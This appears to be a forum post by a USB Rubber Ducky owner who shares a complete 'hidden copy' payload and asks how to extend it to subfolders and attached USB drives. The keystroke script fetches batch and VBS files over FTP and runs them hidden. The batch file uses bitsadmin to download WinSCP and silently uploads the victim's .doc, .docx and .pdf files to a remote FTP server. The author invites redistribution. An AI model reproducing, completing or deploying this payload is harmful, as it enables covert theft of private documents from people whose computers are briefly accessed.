Hi.
Just bought the rubber ducky and I love this little gadget!
I figured out how to copy files from just my documents (see codes below), but I have problem going through subfolders.
I want to do this basically:
Get a batch job to search My documents and all subfolders for file extension .docx, .doc etc. and upload them with WinSCP.
Also I want it to search for removable usb drive and search for .docx in root and all subfolders. I searched a lot and all examples says that you have to know the drive name (not letter).
I have no idea how to go from here.
This is my script for hidden copy so far:
Rubber ducky.txt:
DELAY 200
GUI r
DELAY 200
STRING cmd
ENTER
DELAY 200
STRING cd %USERPROFILE%
ENTER
STRING ftp -i IP_ADDRESS
ENTER
DELAY 200
STRING USERNAME
ENTER
STRING PASSWORD
ENTER
STRING GET invisible.bat
ENTER
DELAY 200
STRING GET invisible.vbs
ENTER
DELAY 200
STRING BYE
ENTER
DELAY 200
STRING wscript.exe invisible.vbs invisible.bat
ENTER
DELAY 200
STRING exit
ENTER
It takes rubber ducky about 6 sec from when you put it in to the computer until you unplug it to download the files and run them hidden.
invisible.vbs
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
This to run the .bat as hidden.
invisible.bat
bitsadmin /Transfer JobName http://WEBSITE/WinSCP.exe "%userprofile%\WinSCP.exe"
bitsadmin /Transfer JobName http://WEBSITE/WinSCP.com "%userprofile%\WinSCP.com"
cd %USERPROFILE%\documents
"%USERPROFILE%\WinSCP.com" /command "option batch abort" "option confirm off" "open ftp://USERNAME:PASSWORD@FTP_SERVER" "put *.doc" "close" "exit"
"%USERPROFILE%\WinSCP.com" /command "option batch abort" "option confirm off" "open ftp://USERNAME:PASSWORD@FTP_SERVER" "put *.docx" "close" "exit"
"%USERPROFILE%\WinSCP.com" /command "option batch abort" "option confirm off" "open ftp://USERNAME:PASSWORD@FTP_SERVER" "put *.pdf" "close" "exit"
This script runs in the background.
bitsadmin to download WinSCP, and WinSCP to upload files to a ftp server.
If you find the above scripts useful feel free to redistribute it as you wish.
And thanks in advance.